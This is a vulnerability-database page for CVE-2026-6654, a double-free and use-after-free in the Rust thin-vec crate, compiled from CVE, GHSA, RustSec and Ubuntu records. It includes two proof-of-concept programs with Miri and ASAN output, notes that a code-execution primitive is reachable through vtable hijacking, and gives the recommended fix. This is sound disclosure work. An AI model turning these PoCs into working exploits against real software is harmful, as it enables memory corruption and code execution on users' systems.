Vulnerability-Lookup

CVE-2026-6654 (GCVE-0-2026-6654)

Vulnerability from cvelistv5 – Published: 2026-04-20 10:05 – Updated: 2026-07-15 00:41

Title

Use-After-Free and Double-Free in IntoIter::drop when element drop panics

Summary

Double-Free / Use-After-Free (UAF) in the `IntoIter::drop` and `ThinVec::clear` functions in the thin_vec crate. A panic in `ptr::drop_in_place` skips setting the length to zero.

Severity

5.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

7.3 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-415 - Double Free
CWE-416 - Use After Free
CWE-1341 - Multiple Releases of Same Resource or Handle

Assigner

mozilla

References

4 references

URL	Tags
https://github.com/mozilla/thin-vec/security/advi…
https://access.redhat.com/security/cve/CVE-2026-6654	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2459689	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

6 products

Vendor	Product	Version
Mozilla	thin-vec	Unaffected: 0.2.16 , ≤ * (rpm)
Red Hat	Red Hat Enterprise Linux 10	cpe:/o:redhat:enterprise_linux:10
Red Hat	Red Hat Enterprise Linux 7	cpe:/o:redhat:enterprise_linux:7
Red Hat	Red Hat Enterprise Linux 8	cpe:/o:redhat:enterprise_linux:8
Red Hat	Red Hat Enterprise Linux 9	cpe:/o:redhat:enterprise_linux:9
Red Hat	Red Hat Enterprise Linux AI (RHEL AI) 3	cpe:/a:redhat:enterprise_linux_ai:3

Credits

Juhyung Son

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-6654

Vulnerability from fkie_nvd - Published: 2026-04-20 11:16 - Updated: 2026-07-15 01:16

Severity

5.1 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
5.1 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
7.3 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Summary

Double-Free / Use-After-Free (UAF) in the `IntoIter::drop` and `ThinVec::clear` functions in the thin_vec crate. A panic in `ptr::drop_in_place` skips setting the length to zero.

References

URL	Tags
security@mozilla.org	https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-6654
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2459689
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6654.json

Impacted products

	Vendor	Product	Version
	mozilla	thin-vec	0.2.15

JSON

To clipboard

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GHSA-XPHW-CQX3-667J

Vulnerability from github – Published: 2026-04-15 19:24 – Updated: 2026-05-05 15:43

Summary

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

Details

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification: - CWE-415: Double Free - CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "thin-vec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-415",
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:24:54Z",
    "nvd_published_at": "2026-04-20T11:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate.\nBoth vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code \u2014 no `unsafe` blocks required.\nUndefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**.\n\n---\n\n### Details\n\nBoth vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).\n\n#### Vulnerability 1 \u2014 `IntoIter::drop`\n\n**Location:** `thin-vec/src/lib.rs` L.2308~2314\n\n`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`.\nIf a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements.\nThe standard library\u0027s `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense.\n\n```rust\n// Problematic structure (conceptual representation)\nimpl\u003cT\u003e Drop for IntoIter\u003cT\u003e {\n    fn drop(\u0026mut self) {\n        let mut vec = mem::replace(\u0026mut self.vec, ThinVec::new());\n        unsafe {\n            ptr::drop_in_place(vec.remaining_slice_mut()); // \u2190 panic may occur here\n            vec.set_len_non_singleton(0);                  // \u2190 unreachable on panic\n        }\n        // During unwinding, vec is dropped again \u2192 Double Free\n    }\n}\n```\n\n#### Vulnerability 2 \u2014 `ThinVec::clear`\n\n`clear()` calls `ptr::drop_in_place(\u0026mut self[..])` followed by `self.set_len(0)` to reset the length.\nIf a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again.\n\n```rust\n// Problematic structure (conceptual representation)\npub fn clear(\u0026mut self) {\n    unsafe {\n        ptr::drop_in_place(\u0026mut self[..]); // \u2190 panic may occur here\n        self.set_len(0);                   // \u2190 unreachable on panic\n    }\n    // ThinVec drop later \u2192 Double Free\n}\n```\n\n#### Recommended Fix\n\nBoth vulnerabilities can be resolved with the same pattern:\n\n- **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic\n- **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place`\n\n---\n\n### PoC\n\n**Requirements:** Rust nightly toolchain, `thin-vec = \"0.2.14\"`\n\n```bash\n# Miri\ncargo +nightly miri run\n\n# ASAN\nRUSTFLAGS=\"-Z sanitizer=address\" cargo +nightly run --release\n```\n\n#### PoC-1: `IntoIter::drop`\n\n```rust\nuse thin_vec::ThinVec;\n\nstruct PanicBomb(String);\n\nimpl Drop for PanicBomb {\n    fn drop(\u0026mut self) {\n        if self.0 == \"panic\" {\n            panic!(\"panic!\");\n        }\n        println!(\"Dropping: {}\", self.0);\n    }\n}\n\nfn main() {\n    let mut v = ThinVec::new();\n    v.push(PanicBomb(String::from(\"normal1\")));\n    v.push(PanicBomb(String::from(\"panic\")));  // trigger element\n    v.push(PanicBomb(String::from(\"normal2\")));\n\n    let mut iter = v.into_iter();\n    iter.next();\n    // When iter is dropped: panic occurs at \"panic\" element\n    // \u2192 During unwinding, Double Drop is triggered on \"normal1\" (already freed)\n}\n```\n\n**Miri output:**\n```\nerror: Undefined Behavior: pointer not dereferenceable:\n       alloc227 has been freed, so this pointer is dangling\n\nstack backtrace:\n   3: \u003cPanicBomb as Drop\u003e::drop           \u2190 Double Drop entry\n   6: \u003cThinVec\u003cT\u003e as Drop\u003e::drop::drop_non_singleton\n   9: \u003cIntoIter\u003cT\u003e as Drop\u003e::drop::drop_non_singleton  \u2190 lib.rs:2310 (root cause)\n```\n\n**ASAN output:**\n```\n==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010\nREAD of size 7 at 0x7afa685e0010\n    #0 memcpy\n    #4 drop_in_place::\u003cPanicBomb\u003e        \u2190 Double Drop entry point\n    #5 \u003cThinVec as Drop\u003e::drop::drop_non_singleton\n    #6 \u003cIntoIter as Drop\u003e::drop::drop_non_singleton\n```\n\n#### PoC-2: `ThinVec::clear`\n\n```rust\nuse thin_vec::ThinVec;\nuse std::panic;\n\nstruct Poison(Box\u003cusize\u003e, \u0026\u0027static str);\n\nimpl Drop for Poison {\n    fn drop(\u0026mut self) {\n        if self.1 == \"panic\" {\n            panic!(\"panic!\");\n        }\n        println!(\"Dropping: {}\", self.0);\n    }\n}\n\nfn main() {\n    let mut v = ThinVec::new();\n    v.push(Poison(Box::new(1), \"normal1\")); // index 0\n    v.push(Poison(Box::new(2), \"panic\"));   // index 1 \u2192 panic triggered here\n    v.push(Poison(Box::new(3), \"normal2\")); // index 2\n\n    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {\n        v.clear();\n        // panic occurs at \"panic\" element during clear()\n        // \u2192 set_len(0) is never called\n        // \u2192 already-freed elements are re-freed when v goes out of scope\n    }));\n}\n```\n\n---\n\n### Impact\n\n**Vulnerability classification:**\n- CWE-415: Double Free\n- CWE-416: Use-After-Free\n\n**Affected code:** All code satisfying the following conditions simultaneously:\n\n1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.)\n2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or\n   (Vulnerability 2) `clear()` is called while a remaining element\u0027s `Drop` implementation can panic\n3. The `Drop` implementation of a remaining element triggers a panic\n\nAdditionally, when combined with `Box\u003cdyn Trait\u003e` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.",
  "id": "GHSA-xphw-cqx3-667j",
  "modified": "2026-05-05T15:43:14Z",
  "published": "2026-04-15T19:24:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6654"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/thin-vec"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0103.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics"
}

rustsec-2026-0103

Vulnerability from osv_rustsec

Published

2026-04-14 12:00

Modified

2026-04-27 20:28

Summary

Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

Details

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin-vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code - no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 - `IntoIter::drop`

PoC

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Vulnerability 2 - `ThinVec::clear`

PoC

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Prerequisites

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

When combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Severity

7.3 (High)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

References

URL

Type

	https://crates.io/crates/thin-vec	PACKAGE
	https://rustsec.org/advisories/RUSTSEC-2026-0103.html	ADVISORY
	https://github.com/mozilla/thin-vec/security/advi…	ADVISORY

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "categories": [
          "code-execution",
          "memory-corruption",
          "memory-exposure"
        ],
        "cvss": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "thin-vec",
        "purl": "pkg:cargo/thin-vec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.2.16"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2026-6654",
    "GHSA-xphw-cqx3-667j"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "A Double Free / Use-After-Free (UAF) vulnerability has been identified in the\n`IntoIter::drop` and `ThinVec::clear` implementations of the `thin-vec` crate.\nBoth vulnerabilities share the same root cause and can trigger memory\ncorruption using only safe Rust code - no unsafe blocks required. Undefined\nBehavior has been confirmed via Miri and AddressSanitizer (ASAN).\n\n## Details\n\nWhen a **panic occurs** during sequential element deallocation, the subsequent\nlength cleanup code (`set_len(0)`) is never executed. During stack unwinding,\nthe container is dropped again, causing already-freed memory to be re-freed\n(Double Free / UAF).\n\n### Vulnerability 1 - `IntoIter::drop`\n\n`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`,\nthen sequentially frees elements via `ptr::drop_in_place`. If a panic occurs\nduring element deallocation, `set_len_non_singleton(0)` is never reached.\nDuring unwinding, `vec` is dropped again, re-freeing already-freed elements.\nThe standard library\u0027s `std::vec::IntoIter` prevents this with a **DropGuard\npattern**, but thin-vec lacks this defense.\n\n### PoC\n\n```rust\nuse thin_vec::ThinVec;\n\nstruct PanicBomb(String);\n\nimpl Drop for PanicBomb {\n    fn drop(\u0026mut self) {\n        if self.0 == \"panic\" {\n            panic!(\"panic!\");\n        }\n        println!(\"Dropping: {}\", self.0);\n    }\n}\n\nfn main() {\n    let mut v = ThinVec::new();\n    v.push(PanicBomb(String::from(\"normal1\")));\n    v.push(PanicBomb(String::from(\"panic\")));  // trigger element\n    v.push(PanicBomb(String::from(\"normal2\")));\n\n    let mut iter = v.into_iter();\n    iter.next();\n    // When iter is dropped: panic occurs at \"panic\" element\n    // \u2192 During unwinding, Double Drop is triggered on \"normal1\" (already freed)\n}\n```\n\n### Vulnerability 2 - `ThinVec::clear`\n\n`clear()` calls `ptr::drop_in_place(\u0026mut self[..])` followed by\n`self.set_len(0)` to reset the length. If a panic occurs during element\ndeallocation, `set_len(0)` is never executed. When the `ThinVec` itself is\nsubsequently dropped, already-freed elements are freed again.\n\n### PoC\n\n```rust\nuse thin_vec::ThinVec;\nuse std::panic;\n\nstruct Poison(Box\u003cusize\u003e, \u0026\u0027static str);\n\nimpl Drop for Poison {\n    fn drop(\u0026mut self) {\n        if self.1 == \"panic\" {\n            panic!(\"panic!\");\n        }\n        println!(\"Dropping: {}\", self.0);\n    }\n}\n\nfn main() {\n    let mut v = ThinVec::new();\n    v.push(Poison(Box::new(1), \"normal1\")); // index 0\n    v.push(Poison(Box::new(2), \"panic\"));   // index 1 \u2192 panic triggered here\n    v.push(Poison(Box::new(3), \"normal2\")); // index 2\n\n    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {\n        v.clear();\n        // panic occurs at \"panic\" element during clear()\n        // \u2192 set_len(0) is never called\n        // \u2192 already-freed elements are re-freed when v goes out of scope\n    }));\n}\n```\n\n## Prerequisites\n\n1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.)\n2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or\n   (Vulnerability 2) `clear()` is called while a remaining element\u0027s `Drop` implementation can panic\n3. The `Drop` implementation of a remaining element triggers a panic\n\nWhen combined with `Box\u003cdyn Trait\u003e types`, an exploit primitive enabling\nArbitrary Code Execution (ACE) via heap spray and vtable hijacking has been\nconfirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop\nis reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can\nbe redirected to attacker-controlled code.",
  "id": "RUSTSEC-2026-0103",
  "modified": "2026-04-27T20:28:03Z",
  "published": "2026-04-14T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/thin-vec"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0103.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics"
}

ubuntu-cve-2026-6654

Vulnerability from osv_ubuntu

Published

2026-04-20 11:16

Modified

2026-06-30 16:18

Summary

Details

Double-Free / Use-After-Free (UAF) in the IntoIter::drop and ThinVec::clear functions in the thin_vec crate. A panic in ptr::drop_in_place skips setting the length to zero.

Severity

5.1 (Medium)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

7.3 (High)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

5.1 (Medium)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-6654	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-6654	REPORT
	https://github.com/mozilla/thin-vec/security/advi…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "librust-thin-vec-dev",
            "binary_version": "0.2.13-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "rust-thin-vec",
        "purl": "pkg:deb/ubuntu/rust-thin-vec@0.2.13-1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.2.13-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "librust-thin-vec-dev",
            "binary_version": "0.2.13-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "rust-thin-vec",
        "purl": "pkg:deb/ubuntu/rust-thin-vec@0.2.13-2?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.2.13-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "librust-thin-vec-dev",
            "binary_version": "0.2.13-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "rust-thin-vec",
        "purl": "pkg:deb/ubuntu/rust-thin-vec@0.2.13-2?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.2.13-2"
      ]
    }
  ],
  "aliases": [],
  "details": "Double-Free / Use-After-Free (UAF) in the `IntoIter::drop` and `ThinVec::clear` functions in the thin_vec crate. A panic in `ptr::drop_in_place` skips setting the length to zero.",
  "id": "UBUNTU-CVE-2026-6654",
  "modified": "2026-06-30T16:18:38Z",
  "published": "2026-04-20T11:16:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-6654"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6654"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-6654"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-6654 (GCVE-0-2026-6654)

FKIE_CVE-2026-6654

GHSA-XPHW-CQX3-667J

Summary

Details

Vulnerability 1 — IntoIter::drop

Vulnerability 2 — ThinVec::clear

Recommended Fix

PoC

PoC-1: IntoIter::drop

PoC-2: ThinVec::clear

Impact

rustsec-2026-0103

Vulnerability from osv_rustsec

Details

Vulnerability 1 - IntoIter::drop

PoC

Vulnerability 2 - ThinVec::clear

PoC

Prerequisites

ubuntu-cve-2026-6654

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature

Vulnerability 1 — `IntoIter::drop`

Vulnerability 2 — `ThinVec::clear`

PoC-1: `IntoIter::drop`

PoC-2: `ThinVec::clear`

Vulnerability 1 - `IntoIter::drop`

Vulnerability 2 - `ThinVec::clear`